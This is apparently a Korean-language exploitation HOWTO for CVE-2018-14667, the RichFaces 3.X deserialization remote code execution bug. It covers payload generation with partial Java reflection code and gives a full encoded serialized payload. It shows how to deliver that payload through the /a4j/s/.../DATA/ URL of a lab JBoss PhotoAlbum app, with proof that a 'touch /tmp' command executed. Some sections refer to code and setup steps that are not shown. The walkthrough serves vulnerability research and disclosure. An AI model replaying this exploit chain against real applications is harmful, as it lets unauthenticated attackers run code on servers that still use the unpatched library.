
CVE-2018-14667에 관한 모든 것; 그것이 무엇인지부터 성공적으로 악용하는 방법까지.
이 CVE를 이해하고 올바르게 악용하는 데 많은 시간을 보낸 후, 저는 RichFaces 3.X RCE 버그에 대한 저장소를 만들고 커뮤니티와 단계별 HOWTO를 공유하기로 결정했습니다.
0x00 : RichFaces 3.X 버그 소개
2018년 11월 19일 월요일, Joao F M Figueiredo는 치명적인 고위험 RichFaces 취약점에 대한 상세한 기사(https://seclists.org/fulldisclosure/2018/Nov/47)를 게시했습니다.
CVSS3 기본 점수 9.8
이 취약점을 통해 인증되지 않은 모든 사용자가 RichFaces 3.X(모든 버전)를 사용하는 모든 웹 애플리케이션에서 원격 코드 실행을 수행할 수 있으며, 이는 거의 최악의 시나리오입니다.
0x01 : 영향받고 있나요? ![]()
글쎄요, RichFaces 3.X(RichFaces 3의 모든 버전)를 실행 중이고 소스에서 다음 코드를 본다면, 그렇습니다. CVE-2018-14667의 원격 코드 실행에 취약할 가능성이 있습니다:
0x02 : 취약한 환경을 실행하여 버그 테스트 ![]()
기본적으로 seclists.org 기사에서 이미 다룬 취약한 환경 배포 방법을 다시 설명하겠습니다.
0x03 : 유효한 페이로드 생성 ![]()
이제 재미있는 부분입니다! 제가 어려움을 겪었던 부분이라 유효한 페이로드를 생성하는 방법과 제가 했던 것과 같은 오류를 반복하지 않는 방법을 자세히 설명하겠습니다. 먼저 Eclipse를 사용하여 페이로드를 컴파일하는 것이 좋습니다.
// Class clazz = Class.forName("javax.el.MethodExpression");
// Field field = clazz.getField("serialVersionUID");
// field.setAccessible(true);
// Field modifiersField = Field.class.getDeclaredField("modifiers");
// modifiersField.setAccessible(true);
// modifiersField.setInt(field, field.getModifiers() & ~Modifier.FINAL);
// field.setLong(null, MethodExpressionSerialVersionUID);
Eclipse의 출력 결과는 다음과 같아야 합니다:
/DATA/eAHNVU1rE0EYnkarbf2qtqhVhLiKTUVmW6mHWgOFKiqkFpq2fvQgk82bZOJ-dWY2WSwVRUSwIkjxpiJ4bS!6B!ToJ9Jf4EEREUEE8SbOzKaJDeqhp-xpZvfZ533med59d-ErauYMHfRYHpMiCfuLPIcZcC9gFuAJDmysstk!wehxIghSV8eRLzG0NoU2WQyIgGHPFeAKgbaliqRETJu4eXM0UwRLDKbQegh9Kjmn0RXUlEItjpelOQrZyr65ROwA9Cb0pZYDiiLEOWIBx5bn-J4ruXFayEKnPDsLLE1KwM6!fJqcv!9mJIZiKdRq2YTzM8SBlRrSglE3LzW0cflOVnMItD1SST0zDYwSm14mGRsGQ1-V75YlMQ9cLcAGwTHYeJzkR0AUvOyJ0Jcn4dRztQ8INW1EKGSoKxItofW4J-bLuQ8!--!ENK6jiqsxPb5xK!39wtIxhVAKBlQYjFqFyIKAYuL7NrWIkGUjH-qLnGUSAgwn7l07ujD2UXvSmSEcohBqtQTapQ8fmmCbk8r42jNp0zqfMB3k7hqqvtZgqLJqkULjSmgx43HtUR3bace3BxZn287Ni-7Io53Vs9dBy21Xp94!-3VXGaC4W8uP0PV9MwymA-AC50EMq3gTPdVlyiOyD-QNWy6ih4Zix6rz8FjgCuqAofGR!IQhWWr3qVvyLkHCDWy7B0MIVsIQXmAV4qZwfJOoy-iZ!U-qvh9KA!auMKDeKOVA5tuOHxuebx1RDmjbyjcb42goYKhjSqccmVb5VBaXJj993jNzUjej7PGYQJ3aWerh0UD4gZBAII5A7TXDoy6TnpSX0Duz2rqmA1lKordMCIn0A7hZ9CGf1mscFoRjx4d6D!XGh!r6Dvf1J40VAyXZAE1ghHpwrdGj6R-zoa6f!xwNKvR2zbCl!ADNNcCB4hCNY7RZBxgIamM52EHF9xa9Xl18BTleL-YCN2lU2BsrOpVCVyWFh-h2I6Sw!Bf8Wwyv0IvVxVAMuEgay9SNkYFALao7xuUo!w0w9PXD.jsf
0x04 : 페이로드 전송 및 원격 코드 실행 ![]()
브라우저에서 PhotoAlbum 웹 애플리케이션을 실행 중인 로컬 JBoss 서버 http://192.168.100.2:8080/photoalbum로 이동하고 마우스 오른쪽 버튼을 클릭하여 페이지 소스를 봅니다. Ctrl+F를 누르고 '/DATA/'를 검색합니다. 다음과 유사한 내용을 찾을 수 있을 것입니다:
src="/photoalbum/a4j/s/3_3_3.Finalorg.ajax4jsf.resource.UserResource/n/n/DATA/eAF1Uk1rFEEQrQwGEz9AXVFyCMQoCiI9JCZeYkBQ0cCsQccI6ql2pna2h57ptrtndzDozYuCF6!evOpFf4HXgJf8BkFEBBHEq929QUnAvlXx6r1Xr!rtd5g0Gs5LXTAssV0qTZ9pMrLRGbENQ!rOTnFmQ!NraBH86yx!i2BfAoczTWjpqqwt1dbCsaTEIcYC6yJe75WU2ZUE9lOruON8BE9hIoGpSua8zynfqSeHKBoKRaucl7OeomV9zMiwTFZK1o6bpdYJ3ZQiJ53ikPT9rQ-rr15!6kYQJTCdCTTmFla020NqNa8L5-GAcTN54LBwYuySyzglzVHwx9gTtNIqL3!OSTLT1MGAIGsYCXYXiy7Zgcyvt8ptYrisQw4AE4cAWg0zY9MOuhf3Pt568fn30sso4Dp!cf-Y3jx7nv58sH3ZI7yDU!4YZU-aIL2Xb61Sovfj5K-DH492vbYPbmo0CzOnN3mFBSUSXURMIa!tmm88AWg0dB6GpZk!jcsyxPJu-96Xr7ObN4Kw2yeycNz7Y1yy9caqxjogYWXhSGiH2fFZlWpHKdyOeZ2JJicTB-3YCO6KgRyxdmArMXfl4sKFhcVLc7u-yer8f63OuxuoP9Xj4!8_" style="opacity: 0.1" class="main-image"><span class="rich-tool-tip tooltip"
직렬화된 객체가 명확하게 보입니다. 원격 코드 실행을 얻기 위해 이 직렬화된 객체를 우리의 페이로드로 교체할 것입니다. 브라우저에서 URL을 http://192.168.100.2:8080/photoalbum/a4j/s/3_3_3.Finalorg.ajax4jsf.resource.UserResource/n/n/DATA/YOUR-PAYLOAD-GENERATED-IN-ECLIPSE로 변경합니다. 제 페이로드는 'touch /tmp/PoorRichFaces' 명령을 실행하고 있었습니다. 성공했는지 확인해 봅시다:
drwxrwxrwt 12 root root 32768 Nov 30 01:45 .
drwxr-xr-x 25 root root 4096 Nov 25 12:57 ..
-rw-rw-r-- 1 syrius syrius 0 Nov 30 1:27 PoorRichFaces
기분 좋지 않나요? 우리는 방금 RichFaces 3.X를 실행하는 Java 웹 애플리케이션에서 RCE를 얻었습니다.
0x05 : 패치 방법 ![]()
이 사실이 마음에 들지 않을 수 있으니 준비하고 키보드를 꽉 잡으세요. RichFaces는 제품 지원과 관련하여 수명 종료(EOL)에 도달했으므로 사용자(여러분)는 자체 패치를 적용해야 합니다. 당황하지 마세요. 패치 방법을 찾을 수 없다면 주저하지 말고 저에게 연락하세요. 제가 여러분의 Java 웹 애플리케이션을 패치할 수 있도록 조정할 수 있습니다.
이메일: [email protected]